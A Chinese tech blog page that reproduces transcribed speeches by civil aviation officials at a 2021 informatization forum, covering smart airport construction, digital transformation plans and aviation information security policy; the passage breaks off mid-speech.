首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,588 阅读
2
主板开机跳线接线图【F_PANEL接线图】
7,063 阅读
3
Linux使用V2Ray 原生客户端
6,168 阅读
4
移动光猫获取超级密码&开启公网ipv6
4,736 阅读
5
NVIDIA 显卡限制功率
3,139 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
354
篇文章
累计收到
71
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
354
篇与
的结果
2021-12-09
第十九届民航信息化发展论坛发言稿收录
1.中国民用航空局原副局长 杨国庆主持人:感谢殷总工。下面请我们的老领导,中国民用航空局原副局长杨国庆先生讲话。杨国庆:各位领导、各位嘉宾、女士们、先生们大家早上好,非常高兴应邀来参加本届信息化论坛,我发言的题目是“坚持开展智慧民航建设,全面推动行业数字化转型”。当前我国进入了新发展阶段,发展基础更加坚实,发展条件深刻变化。进一步发展面临新的机遇和挑战。中华人民共和国国民经济和社会发展第十四个五年规划和2035年远景目标纲要中明确指出,我国要迎接数字时代,结合数据要素潜能,推进网络强国建设,加快建设数字经济、数字社会、数字政府,以数字化转型整体驱动生产方式、生活方式和治理方式等。为深入贯彻落实新发展理念,顺应新时代民航发展趋势全面推进民航强国建设、加强民航高质量发展,在今年全国民航工作会议上,智慧民航首次出现在年度工作的宗旨要求当中。"十四五”时期,民航总体 工作思路也将智慧民航建设纳入其中,提出了以安全为底线,智慧民航为主线有关要将智慧民航建设有新突破作为开拓四个新局面的其中之要求和积极主动推进行业数字化、智能化、智慧化转型升级。以智慧民航建设牵引的发展战略,推进智慧民航重要,贯穿行业发展的全过程和各领域。以智慧民航建设构成新的竞争优势,使智慧民航建设成为行业高质量发展的主攻方向和驱动行业发展的主要动力。“十三五"以来民航局党组坚持贯彻落实创新发展理念,高度重视民航智慧化建设,充分发挥民航信息化技术的应用优势,不断扩大新技术应用。民航智慧化建设的内涵不断的延伸,多方参与格局不断优化,成效不断的扩大彰显,民航智慧化建设的理念成效贯穿于坚守安全底线提升服务品质,强化监管能力,深化行业改革,统筹规划发展等具体工作当中,为智慧民航及民航强国建设奠定了坚实的基础。"十四五"是我国民航单一航空运输强国向多领域民航强国迈进的重要阶段。是我国民航实现高质量发展的关键阶段。智慧民航的建设重要抓手根本途径也是重要的任务,智慧民航建设充分发挥信息化、数字化的驱动引领作用,助力破除制约行业发展的体制机制性障碍,要积极推进运行的模业务流程等变革与创新。在制度设计、规划标准编制修订等方面做好保障和支撑。要坚持系统观念,有序做好各领域、各方面整体设计和协同推进,通过新兴基础设施为传统基础设施赋能,立足智慧出行、智慧物流、智慧运行、智慧监管四个场景,加强数字感知,搭建生态系统,完善数据治理,强化网络安全、支持行业创新。总之,民航的快速发展、新一轮的科技革命催生着民航业的模式、形态、格局的全方位重塑,实现以智慧民航为特征的新一代航空运输系统,需要提高行业主体间的协同运行水平和服务保障能力,打造数据流、业务流、信息流等各类资源要素有机融合的民航生态圈。需要推动全方位的数字化转型,构建民航业数字化环境和数据资源融合的应用生态体系。数字化转型是以云计算、大数据、物联网、人工智能、区块链新一代信息技术的不断深化应用,激发数据要素创新驱动潜能,打造提升信息时代发展能力,加速业务优化升级和创新转型改造提升传统动能培育发展新动能,获取新价值,实现转型升级和创新发展的过程。当前数据已经成为土地、劳动力、资本、技术之后的第五大生产要素,正在重塑管理决策和价值创造的过程和方式。数据资源的规范管理、价值利用、充分共享也是智慧民航建设的发展关键基础。民航生产力提高高质量发展需要充分发挥数据生产要素的价值,实现行业决策从业务驱动向数据驱动的转变。近年来我国民航积极开展数字化转型的探索和实践,不少机场、航司、空管等民航企事业单位在战略层面开始了数字化转型规划、企业务、数据应用、技术架构的再定义与优化。关键场景的解决方案、蓝图设计等顶层研究。在实践层面,开始了基于人工智能技术驱动的多业务数据融合,多场景情景理解,系统计算与决策方面的有意尝试和探索。数字化转型驱动、智慧民航建设的氛围已经初步形成,并进入到全行业全面数字化转型新时期。实现民航的全面数字化转型面临主要的挑战我认为有以下几个方面的挑战,首先标准规范建设仍需不断的完善。目前随着数字化转型带来新业态一些传统的行业规章,不能完全适应当前的需要,一些新生的业务也面临着无章可循的容态,智慧化建设的终极目标实现机器换人提高生产力和生产效力,无人、少人是典型智慧化应用场景,所以民航是一个高度强调安全的行业,很多规章规范当中都明确要求了安全员、责任人这样一些要点。这种规范与技术上的冲突成为了数字化转型的制约和束缚。中国民航机场建设行动纲要中明确指出,推进机场数据共享与协同实现网络化,统一数据定义及信息交互标准,实现不同数据的交互共享,民航局今年印发的《机场无人驾驶设备应用路线图》也明确了到2022年基本建立了标准体系框架是首要任务,是形成有效的标准研究、动态修订、跟踪评估的工作机制,初步构建国家标准、行业标准、团体标准协同配套的标准体系建设。同时启动修编机场设备相关规章,将无人驾驶设备纳入民用机场专用设备体系当中管理。第二个挑战是智慧化项目的建设需要统筹协同。建设不同步缺少数字化转型整体规划引领,行业内各单位,单位内各部门建设的水平参差不齐,导致智慧化项目的建设无法发挥全部的效率和作用。比如在电子登记牌的应用初期,由于值机、安检、登机等部门和系统建设不同步,导致在一些环境仍然需要临时打印纸质登机牌的现象。一些机场的ICDM项目,由于缺少自动化的数据采集手段,一些高级的系统决策功能无法使用,由于项目建设单位部门间的差异以及资产业务管理部门的职能不同导致信息碎片、信息孤岛的现象仍然存在。因此在民航数字化转型的同时,仍然面临着补齐信息化建设短板的问题。民航局在施行这项建设导则当中对智慧机场概念进行了明确,生产要素全面互联,数据共享、协同高效、智能运行的机场。民航局刚刚发布了《机场数据基础设施技术指南》和《机场数据规范与交换技术指南》,从数据生命周期的数据描述了机场数据基础设施的建设内容,并对从数据生命周期视角描述了机场数据基础设施的建设内容,并对其提出了总体技术架构和技术要求,为机场数据共享融合与应用提出技术支撑。后者聚焦机场数据资源统一描述和数据交互共享规范两个主题,对机场各类业务信息系统的数据共享与交互以及数据价值的开发利用等方面具有重要的指导意义。第三条是纵强横弱,重技术、轻成效的现象还是很普遍的,在民航数字化转型过程当中,数字化、智慧化项目往往纵向贸通、横向割裂,在一个单位一个部门一个业务条件甚至具体场景上开展建设尤其新知识的试点应用更是成为了各个单位宣传的名片,但是受到技术成熟度和计算资源的限制,一些智慧化项目并没有真正转化成应有的生产力。近年来各机场普遍试点应用的ICDM节点视频设备采用应用为例,国内多家大型枢纽机场,新建机场,中小型机场部分机位尝试利用视频设备技术,采集ICDM节点的数据。成为了人工智能、计算机视觉行业应用的典型案例。除了个别机位数量较少的小机场外,大部分机场并没有在所有机位全面推广。主要原因是目前设备技术的对算力的要求比较高,并且设备模型不一样。每个机位重新进行训练代价很大,形成了标杆试点多、实际应用少的尴尬局面。所以,民航数字化转型是在国家利好环境下应对诸多条件的系统性工作。这其中既要利用好国家的政策,把握好当前不断发展的技术,积极做好相关工作,使民航数据化转型成为民航高质量发展的新动力。那么,推行行业全面数字化转型需要注意以下几点。第一,要坚持标准行业规范先行,组织编制统揽全局的行业数字化转型系统的标准规范和系列的标准规范。要突破机场、航司、空管业务板块的限制,统筹行业各个单位、各个部门、标准规范的同步协调。还要联合公安、边检、海关相关单位,共同参与数字化标准的制定工作,真正形成各个单位、各个部门、各个业务条件的完整的数字化、智慧化的建设标准,能够引导建设单位在标准规范下实现数字化、智慧化项目,得到了业务相关部门的有效配合,从而提高行业的生产力和创新能力。在具体操作层面,可以以机场数据规范与交互技术指南发布为契机,进一步深化完善全行业数据格式建立统一数据交换标准,促进数据的共享与交互,最大限度的发挥数据的效能。第二,要制定数字化转型总体规划,并系统实施,要坚定不移规划引领一张蓝图绘到底,从理论层面讲,数字化转型的总体框架,系统阐述数字化转型的主要任务,过程联动方式和分布实施的要求,主要包括数字化转型的主要视觉、过程方法和发展阶段。主要视觉给出数字化转型的任务体系,包括发展战略,新型能力,系统解决方案、治理体系和业务创新转型这样五个视角,凝聚了数字化转型的主要任务,给出了任务间的关联关系;过程方法提出数字化转型的方法体系,针对数字化转型的五个视角分别给对应的过程联动方法,并构建相关方法之间的相互关系作用。所谓发展阶段明确数字化转型的路径体系,将数字化转型分为初始级、单元级、流程级、网络级、生态级五个发展阶段。分别形成数字化转型五个视角在不同发展阶段的主要实施要求。实现层面讲数字化转型就是要在民航"十四五"发展的统揽下,坚持系统性原则,做好各领域各方面整体设计和协同推进。第三,建设要注意智慧民航基础理论研究,要加强面向民航生产运行场景需求的人工智能算法、自主可控设备、智能系统的研究。加强对核心系统关键技术的公关,提升民航各领域的创新能力和国产化水平,在基础理论与生产应用之间,建立起一套面向行业的理论体系中间界,一方面制成了基础理论当中的方法和模型,另一方面也加入了民航应用的场景和需求,使基础理论的应用实践是生产理论应用的理论基础,要求把空用、泛化的理论加入民航生产运行场景的约数形成更为有效的适合行业的理论,这需要行业院校、科研机构坚持不懈的努力,也需要在开放包容、强化合作的原则下引入外力,引导行业外的研究力量,聚焦行业问题,助力智慧民航基础理论的研究和突破。第四,强化民航信息安全保障措施,民航“十四五“规划把信息安全作为航空安全的一个重要的组成部分,进一步提升了信息安全在民航行业当中的地位。信息安全是航空安全的一部分,我们已经呼吁了好多年了,但是第一次文字当中我看是在即将颁布的“十四五”规划当中出现了文字,信息安全是航空安全的一个重要组成部分,所以随着数字化、智慧化建设的不断深入,自主无人、人机协作、组装智能、群体智能、智能系统逐步取代以人为中心的决策。少人、无人运行场景当中,机器和系统自主决策成为常态,这样一个运行模式下,网络与信息安全的影响已经不再是某个系统是否正常运转,数据是否可靠,而是将直接影响到机场的运行、航班的起降甚至是全行业的安全水平,信息安全的内涵也将由原先的防攻击、防入侵、防篡改、防伪拓展到智能系统决策的可靠性,安全性和行业的韧性运行这样一个范畴,这需要开展有针对性的理论研究和基础技术研究工作,为行业数字化转型提供更为可靠的技术支撑和安全保障。第五,加强人才培养与科技创新投入,行业企业的发展人才最宝贵的特色,民航数字和转型特色更多高层次的数字化人才,加大科技人才的引进和作用力度,激发科技人员技术创新的热情,在行业内形成促进人才成长的良性循环和生态。一方面行业院校开展有针对性的培养工作,另一方面也需要民航企事业单位提升自身的造血功能,民航数字化转型需求需要发挥数据的力量,避免过度的将数据暴露出去危机行业和国家的安全。这就需要行业单位有驾驭自身数据的能力,需要单位有能驾驭数据的人,需要既懂业务又了解技术的复合型人才。此外行业各单位充分利用自己对行业的理解,增强研究和技术创新能力,在年度发展预算当中预留专项资金,对数字化转型提供相应的资金支持,同时为行业内外科研力量协同合作,广泛吸纳行业内外技术优势和各种创新力量,积极争取国家地方财政的知识创新专项的补贴。总之,全面数字化转型是“十四五“期间民航一项重要的任务,也是一个系统的工程,我们面对的各种挑战需要依靠政府的引导、借助各方面的科研力量能力,精诚团结共同努力,砥砺前行、协同配合为智慧民航建设,实现民航强国而努力奋斗,最后祝会议论坛圆满成功,谢谢大家。2. 中国民用航空局机场司司长 张锐主持人:感谢杨局长。本届论坛的主题是“信息化助力民航高质量发展”,我们将围绕十四五期间智慧民航建设、民航的数字化转型、5G技术应用、网络与信息安全、信息化与疫情防控等话题开展深入研讨和热烈交流。我们也邀请了多位领导、专家到论坛发表内涵丰富的主题演讲。下面,首先演讲的是中国民用航空局机场司张锐司长,他演讲的题目是《我国智慧机场建设发展现状与未来》,有请张所长。张锐:尊敬的杨国庆副局长、殷时军总工、唐书记、汪厅长、刘杰书记,各位领导、各位嘉宾,大家上午好!非常感谢民航报社的邀请,参加这个论坛应该是第三次参加。当前,智慧与创新已经成为民航业的鲜明特色。今年4月,在智慧民航建设领导小组第一次会议上,冯正霖局长明确指出:"智慧民航”是民航"十四五”期间的发展主线,可以说,数字与智慧化转型 是民航业把握未来先机、赢得发展优势的关键一招。按照本次会议的安排,我今天的发言主题是"我国智慧机场建设发展的现状和未来"。借这个机会和各位领导专家分享我们在推动智慧机场建设方面的一些工作情况和一些考虑。第一方面,进入新阶段,智慧机场建设全面推开,也呈现出了新的特点。全行业各单位认真贾彻落实冯正霖局长进话精神,积极推进机场智慧化的发展转型,以智慧助推四型机场建设开展了探索实践,一段时间以来,各类新型技术设备先后在行业部署,众多便捷服务产品陆续在机场应用,整体上呈现出了百花齐放的特点。进入2021年以来,我们感觉智慧机场建设又体现出了三个新的发展亮点:第一个方面,是智慧机场的智能建造成为新的发展趋势。在刚刚结束的全国民航机场建设管理工作会议上,冯局长指出要推动咨询和设计数字化转型,推动智慧工地建设,依托智慧化理念打造机场的品质工程建设。为推动智慧建造的有序发展,民航局发布了《推动民航智能建造与建筑工业化协同发展的行动方案》,明确未来五年的重点工作任务,围绕BIM领域正在针对分类与编码、设计、施工、运维四个部分的BIM标准征求行业意见,充分支持机场智慧建造技术的应用与发展。一年来以BIM为代表的智能建造和以装配式为代表的施工新工厂逐步在民航机场建造领域得到探索式应用。天府机场依次新建三条跑道,建立起了以BIM为辅助设计施工的工作模式:白云机场三期改扩建将运用预置装备化的机场滑行道桥和道面技术;在重庆新机场选址过程中,我们组织民航机场建设集团综合利用了BIM、GIS和无人机等新技术,自主研发了机场数字化选址的辅助系统;鄂州机场创新应用智慧项目管理、数字工地数字施工与监控,一共完成了BIM模型1500余个,BIM的构建2000万余个,打造了国内首个一次性交付实体工程与数字模型的机场项目,实现了 BIM的正向设计。第二个特点是机场的无人驾驶设备成为新业态。无人驾驶技术在机场的应用探索成为智慧机场的一个全新的应用场景,大兴机场正在开展无人摆渡车和无人巡逻车两款车型的测试:长沙机场推进探索少人化的航空物流,在货站区域试用无人物流牵引车运输货物,同时引入无人摆渡车正在机坪开展测试;南京机场自行研制的登机桥远程驾驶系统已经进入测试阶段:厦门机场正在开展无人行李牵引车的试点应用;乌鲁木齐机场在今年9月一次性投入5台无人驾驶物流车在停机坪进行了试运行。为支持机场无人驾驶设备的应用,我们组建了国内权威课题组团队,对各交通领域的检验、测试、应用及管理政策进行了广泛而深入的调研,经过一年多的工作,我们制定了《机场无人驾驶设备应用路线图(2021-2025)》,并在机场建设管理工作会议上正式发布,为这一新型技术产品在民航机场推广应用提供了有效的政策依据。第三个特点是机场智慧管理呈现新模式。一年来,智慧机场正在从旅客服务、生产调度向智能运维、智能维养等应用场景不断拓展,同济大学与天府、咸阳机场合作,分别建成了首个单跑道全功能智能系统、多源信息融合智慧跑道系统,实现了跑道健康监测和运行安全的全生命周期的预警:武汉理工大学创新应用了地理光缆代替传统传感器,监测元件数量由百级单位提升到两万级单位水平;鄂州机场通过数字化施工方式,对施工全过程进行监控,对施工质量进行预测,改变了传统的靠监理航站事后检测的方式,为工程质量检站提供了有效依据。以智慧为驱动的新型机场建设正在从航站楼飞行区向机场全领域覆盖,从旅客服务、生产运行向机场全要素调整,从机场运营向规划设计全生命周期转变,智慧数字化转型正在逐步深层次融入民航机场的发展。我分享的第二部分内容是围绕新形势,全行业推进智慧机场建设面临的新挑战。今年是四型机场进入全面推进、转段进阶的跨越年,也是打造民航机场品质工程的开局年。在上周闭幕的鄂州全国民航机场建设管理大会上,我们深入总结了当前智慧机场、四型机场建设的形势特点。我们认为,目前主要呈现出三个变化:一是工作方向从深化认识转向具体实施,更加强调落地性;二是工作思路从搭建框架转向细化分解,更加强调系统性;三是工作重心从示范先行转向全面推进,更加强调整体性。全行业总体上已经由"为什么"迈向了"怎么干”,由顶层框架设计细化分解为具体实施指南、由示范标杆带动转变为“一个也不能掉队”。与此同时,我们也深刻认识到在推进智慧建设和四型建设的过程中还存在着四个方面的挑战:一是理念认识不够深入,工作推进存在挑战。目前仍然还有部分机场对智慧发展理念认识不深入不彻底,有些单位仍然认为智慧机场就是堆砌技术、采购新设备、搭建新系统,为智慧化而搞智慧,把工作手段和工作目标湿淆;还有的单位盲目照搬照抄追赶潮流,别的机场用了我就用、国外有了我就效仿。智慧机场运营应该明确自身工作需求、明确工作目标、制定一体规划、紧紧围绕机场的痛点和难点,以便捷旅客、运行安全和提高效率为导向开展智慧化转型。二是政策标准供给不够全面,制度保障存在挑战。我们现行的政策标准已经不能够适应智慧化机场建设快速发展的需求。刚才国庆局长在讲话中也强调了这一点,深化改革任务更加急切和紧迫。比如,我们制定了机场新技术推广应用的政策,但是名录的更新、机制的落地等方面都已经滞后了行业的发展,民航工程建设领域的概预算和工程定额由于发布时间比较早,涵盖内容有限,已经难以支撑智能和新型基础设施项目的建设,制约了智慧机场的需求;再比如,机场无人驾驶设备由于缺少具体的管理制度、检测机制和标准规范,目前整体上还处于“进不来、不敢用”的尴尬境地,特别是我们围绕着无人驾驶设备的全场景检测基地,目前行业还没有建立完善这样的检测环境。三是管理模式不能完全匹配,融合应用存在挑战。民航机场生产运行和管理体系是环环相扣的整体系统,智慧机场建设不能只解决生产资料,更需要扎实厘顺运营管理机制,需要深入到生产关系调整的层面。比如,各类平台系统虽然先后部署,但是由于缺乏一体规划,数据无法实现互联互通,只能实现机场局部的分散问题,无法实现整体智慧,比如无人驾驶设备的应用还需要解决无人设备与有人设备、无人设备与航空器的同场协同运行问题,才能够有效发挥作用;再比如各类的刷脸刷码通关系统,如果没有深层次的优化全流程通关机制,就仍然无法避免困扰旅客的排长队的问题。在上周民航局新闻发布会上,民航局公安局正式推出了差异化安检项目,就在这方面迈出了实质性一步,为旅客真正带来了高效与便捷。四是科技创新还不能够完全支撑,自立自强存在挑战。目前,我们在机场新技术和智慧系统方面的研发基础还不够牢固,自主创新能力还不够。比如,我们在机场规划设计中使用的仿真模拟软件大多都来自于国外,其中关键的逻辑算法和建模原理我们都不掌握,这些问题大大影响了仿真应用的效果;再比如,有的信息化企业和科研机构还缺乏对民航业务领域的深入了解,与行业融合仅仅停留在销售技术和产品层面,数字化技术与民航业务无法实现深层次的聚合创新,智慧产品对机场高质量发展无法充分地发挥效能。这是以上和大家分享的四个方面的挑战。第三个部分,面对新发展,充分把握智慧机场发展主线,启动新征程,就是我们下一步要怎么干。围绕四型机场建设,打造品质工程的要求,下阶段的工作,我们将重点从五个方面推动发力,全面深化智慧机场建设。第一,围绕政策体系发力,做好框架完善。抓紧推动《机场新技术推广应用管理办法》的出台,着力强化新型技术产品的应用支持,加快推进机场智能建造与建筑工业化行动方案的落地实施,完善指导文件体系,积极地鼓励相关机场试点示范,推进修订《机场工程预算定额和概预算管理办法》,为智能建造和新基建提供资金保障支持。二是围绕标准体系发力,着力加强标准供给。重点针对 BIM、装配式施工、机场无人驾驶设备等行业迫切需要的领域加快推进标准体系的构建与文件制定,积极地推动行业内外资源的融合,鼓励科研成果和实践产品及时向标准进行转化,不断地完善标准体系的构建。三是围绕推进体系发力,促进全员参与。目前我们发现,中小机场在智慧化建设方面发声少、参与性不强,下步我们考虑要向中小机场倾斜,重点遴选一批示范案例,鼓励更多中小机场围绕旅客出行基本需求,因地制宜地打造小而精、小而美的标杆项目,研究探索适宜中小机场开展智慧机场、四型机场建设的实现路径。四是围绕创新体系发力,补强科技基础。“十四五”时期是民航机场科技创新提升技术引领发展的关键时期,我们要牢牢抓住科技创新的这个"牛鼻子",紧密围绕智慧民航建设这条主线,聚焦提升机场规划设计水平,扎实开展基础研究储备,重点地推进机场无人驾驶设备的推广应用,研究数字孪生机场实现路径,为优化机场建设打造智慧化运营提供技术支控。五是围绕合作体系发力,强化工作协同。几年来,一大批中央企业和各个方面的科研院所积极响应行业发展需求,开展了大量的智慧机场的科研实践活动。比如,中交、中电科、华为等单位积极地参与了各地的机场智慧化建设,并形成了深度融合发展的关系;中铁、中建等大型中央建筑企业以及苏交科、华设等大型设计院所先后参与机场建设与相关课题研究,为行业带来了大量有利资源。我们先后认定了6家民航机场工程中心和重点实验室,开展了一系列的智慧发展与科技创新工作,我们于今年年初成立了民航工程建设标准化技术委员会,并在工程建设标准体系下设立了新基建的标准体系,希望更多的专家和研究机构能够加入进来,参与到智慧机场标准体系建设,为我国智慧机场标准的国际化共同努力,我们还将继续搭建合作平台,希望进一步汇聚来自各方力量,共同地推进智慧机场、四型机场建设再上新台阶,为民航强国建设再出新力。各位领导、各位来宾,未来,智慧将成为民航机场的鲜明特色,发展前景广阔,但是道路任重而道远,我们迫切需要行业内外的各单位、各个行业的专家学者积极广泛地参与进来,齐心协力、共建共享,共同开创智慧机场、四型机场建设,打造品质工程,共同开创民航机场高质量发展的未来!最后,感谢中国民航报社,感谢各单位一直以来对机场司工作的支持,预祝本次会议取得圆满成功,谢谢大家!3.中国民用航空局总工程师 殷时军殷时军:尊敬的杨国庆局长,各位领导、各位嘉宾,朋友们大家上午好!很高兴和大家见面,有机会聆听各位专家、学者关于民航信息化发展的真知灼见,本次论坛是在全行业认真贯彻落实党的十九届六中全会精神之际召开的。论坛聚焦信息化助力民航高质量发展这一富有时代性、行业性的主题,有助于帮助大家更好地了解当今世界信息化发展的新形势和“十四五”时期民航信息化发展的新思路,为“十四五”民航信息化工作开好头、起好步、布好局,以信息化赋能行业高质量发展,更好地服务民航强国建设,在此,我谨代表民航局对大家的到来表示热烈的欢迎和衷心的感谢!也借此机会,我谈三个方面的意见,同大家交流。第一方面,"十三五”时期中国民航信息化发展取得显著成绩。"十三五”时期,民航局党组认真贯彻落实"十三五"国家信息化规划,在信息化基础设施建设、重要信息系统开发运行、专业技术队伍建设和人才培养方面均取得显著成绩为加快民航强国建设,实现民航高质量发展提供了坚实支撑、发挥了积极作用。一是民航信息化建设理念越来越明。“十三五”以来,民航局先后召开全国民航科教创新大会、民航科教创新成果展、民航科教创新高端对话会、智慧民航建设领导小组第一次会议等高规格会议,对行业信息化建设进行全面部署和有力推动,民航信息化发展的新格局已初步形成。在发展战略上明确以智慧出行、智慧空管、智慧机场、智慧监管四个智慧为抓手,全面推动全行业智慧民航建设工作,在发展主体上明确以航空公司、机场、空管为信息化建设和运行的主体,在发展目标上明确信息化建设以夯实安全基础、提升运行效率、提高服务品质为重点,行业信息化建设的理念和思路更清晰、更系统、更全面。二是民航信息化水平越来越高。目前我们已经基本完成了六大信息化系统工程建设,完善了空管数据通讯网和民航运输商务通信网两大专用骨干通信网络,网络基础设施初具规模,建成了民航局及七大管理局的电子政务门户网站,民航电子政务成效显著,民航旅客服务系统、货运系统、收入管理系统、结算系统不断扩容升级,航空企业信息化覆盖离港飞行、到港、市场销售、服务等业务流的各功能环节。初步建成了民航电子商务运行大数据信息网络、国产电子客票系统成功投产、新一代智能旅客服务系统推广应用,民航信息化水平和能力得以快速提升。三是民航信息化融合发展越来越紧。十三五期间,我们与中国电科、中科院、中船 工业、北航大、南航大等公司、科研院所、高校加强产业合作,组建民航科教创新攻关联盟、成立民航高质量发展研究中心、新技术应用领导小组等不断集聚行业内外优势资源和力量:深化局企局校信息发展合作,我们与铁路部门签署战略合作协议,扩大空铁联运信息共享,设计开发联乘运输产品,实现旅客一站购票,开启了铁路车次,航班信息的数据共享时代,我们与华为、腾讯、百度、阿里等IT企业共商信息化发展技术架构,共议信息化发展未来场景应用,共享信息化发展经验案例,进一步深化了信息化发展多方参与的格局。通过这些战略合作,实现资源共享、信息互通、融合发展,为推动民航高质量发展提供了有力科技支撑。四是民航信息化作用越来越好。"十三五”以来,我们以行业信息化为抓手,扎实推进四型机场、四强空管建设,行业信息化建设的应用场景在行业中越来越广泛。从运行环节看,民航空管三中心工程正式投运,大幅提升空管运行保障能力,民航流量管理、航空气象和航情情报服务能力以及航空公司机场和空中交通管理部门之间的统筹协调能力,全国民航流量系统正式全网试验运行,为加快建立以流量管理为核心的空管运行服务体系尊定了坚实基础。GPS等国产自主卫星导航应用持续提升,为进一步提高我国民航可靠安全的运营提供重要技术支撑,不断深化航权、时刻和预先飞行计划的三网数据融合,推动机场、空管、航司间关键运行数据共享,进一步提升航班运行效率和航班正常率。从服务环节看,全国234座机场实现了国内航班无纸化便捷出行,千万级机场国内旅客自助值机占比超过7成,旅客排队时间大大减少;12家机场撤试运行预安检服务,通行效率明显提高;人脸识别只需2秒钟,准确率能达到99.8%,远高于人工识别准确率。北京大兴国际机场和成都天府国际机场采用的行李自动化传输系统大大提高了行李的传输效率,部分机场航站楼实现一站购票、一证通关、无缝衔接。从监管环节看通过云、大数据、人工智能等信息化手段,推行互联网+监管,推动SaaS系统建设,创新监管方式、试点非现场监管、加强事中事后监管,推广精准监管示范做法,开展差异化监管试点,以监管模式转型推动了安全管理水平提升。五是民航信息化安全屏障越来越牢。"十三五"期间,民航局高度重视信息网络安全问题,积极推动网络安全等级保护制度在行业的落实,加大数据治理和数据共享,加快制定完善相关行业标准,推进国产化设备使用。目前全行业共有300多个等级保护三级系统、800多个等级保护二级系统,已经建立了行业级的网络与信息安全管理平台,面向民航2000多个互联网网站和应用系统,实时监测行业整体安全状态,行业网络保护不断加强,为重要生产运行系统筑牢了安全防线提供了有力保障。第二方面,准确把握"十四五”时期民航信息化建设形势特点。"十四五”时期是我国由全面建成小康社会向基本实现社会主义现代化迈进的关键时期,也是我们由单一航空运输强国向多领域民航强国迈进的筑基器。智慧民航建设是多领域民航强国建设的重要机手,是“十四五”时期民航发展的工作主线,我们要以智慧民航建设为引领,准确把握信息化发展的新形势、新特点。一是牢牢把握数字化转型新趋势,为国家经济发展提供强劲动能。随着数字经济在全球范囤的高速发展,世界经济数字化转型是大势所趋,数字经济已成为世界经济的重要发展方向。我们应该看到近年来我国网上购物、在线教育、远程医疗等非接触经济全面提速,数字经济为推动中国经济高质量发展提供了路径,一方面国民经济数字化转型为民航发展创造了良好环境,另一方面,民航数字化转型为现代化经济体系构建提供支撑。我们要把数字经济转型快速发展带来的新机遇,顺应数字经济时代的新趋势进一步加快民航数字化转型,以数字化提高质量、推动创新、深化改革。二是牢牢把握智慧化发展新趋势,为民航强国建设提供全新机遇。"十四五”时期是民航开启多领域民航强国建设新征程的起步阶段,需要更加安全、更高效率、更有质量的发展,民航局把推进智慧民航建设作为行业工作主线,作为在新时代推动创新驱动发展战略、培育扩大行业发展新空间,提升行业安全发展质量和效率的重要推动力,作为实现多领域民航强国建设的必由之路。我们要对智慧民航的理念思路、战略目标、任务路径有更清晰的认识,牢牢抓住转型发展机遇,巩固在交通运输系统中的比较优势和核心党争力,要以智慧化提升安全水平、提升运行效率、提升服务品质,创造行业更长安全周期,提高行业全要素生产率,让旅客充分享受民航发展带来的获得感、幸福感。三是牢牢把握平台建设新趋势,为民航高质量发展提供有力支撑。随着"十四五”期间行业规模的进一步扩大,信息技术的新一部升级、信息管理的进一步完善,我们对平台建设的需求将更加迫切,我们要充分认识平台化建设的必要性和紧迫性,牢牢把握平台建设的契机,承担起平台化建设的责任,要利用好传统平台、优化好已有平台、搭建好创新平台,充分发挥信息化平台对行业信息化的推动作用。第三方面,统筹谋划民航信息化建设目标任务。当前,世界面临百年未有之大变局,特别是新冠肺炎疫情更推动了国际秩序加快调整,加速推动了全球数字化进程。中国民航要想更好地顺应新的发展趋势,实现民航信息化的大发展,就必须抓住机遇,形成合力,以智慧民航建设为牵引,大力推进信息化,用信息化培育新动能,用新动能推动新发展,切实做好信息化建设这项系统工程,努力开创新时代民航信息化工作的新局面。一是顶层设计要提为。目前我们已基本完成了民航发展"十四五”规划编制工作,智慧民航建设被纳入到总体规划中并对其定位任务进行了明确部署,在未来的信息化建设中我们要通盘谋划、抓好统筹,不断扩大顶层设计维度,坚持大格局大视野,放眼全球,与国际上信息化发展趋势结合起来,与我国信息化主体规划结合起来,加强与其他行业信息化发展路径的衔接,立足行业、跳出行业看行业,全力整合行业资源,制定出与全球趋势更贴切、与我国国情更适合、与行业发展更匹配的信息化规划、信息化路径和信息化标准。二是投入标准要提高。要充分利用民航发展基金的杠杆作用,制定和完善鼓励信息化建设的财政支持政策,拟定机场新技术产品名录指南,制定新技术应用推广路线图,对新技术成果应用信息化人才培养等信息化建设各场工作给予财政倾斜和财经支持,为推进信息化建设转型升级、实现民航信息化高质量发展提供坚实的资金保障;行业各相关企事业单位也要加大对信息化的资金投入力度,在有限的资金中尽量向信息化项目倾斜,不断完善信息化技术设施,全力支持行业信息化建设。三是新基建要提速。要把握信息基础设施建设快速演进升级的重要契机,加强顶层设计和前瞻布局,切实落实好推动新型基础设施建设,促进民航高质量发展实施意见和推动基础设施建设五年行动方案,在行业安全管理、机场运行服务、空中交通管理、市场监管、通用航空及无人机发展等方面加快推进以数字技术为基础的新基建,做好智慧民航监管服务系统示范项目,形成民航智慧监管的生态系统根基,并示范带动行业各方向、各领域新基建工作开展,统筹推进行业传统基础设施与新型基础设施建设,全面优化和提升行业安全服务运行水平。四是实现应用要提级。要不断加强对行业各领域信息资源的统筹管理和数据资源的开发利用,加强技术设备标准的研究推广,大力推进智慧机场、智慧空管建设,通过建立高效运行可靠的安全生产信息系统,提升风险防范能力、丰富安全监管手段、提高安全管理效能,利用更多的信息化手段加强ACDM和 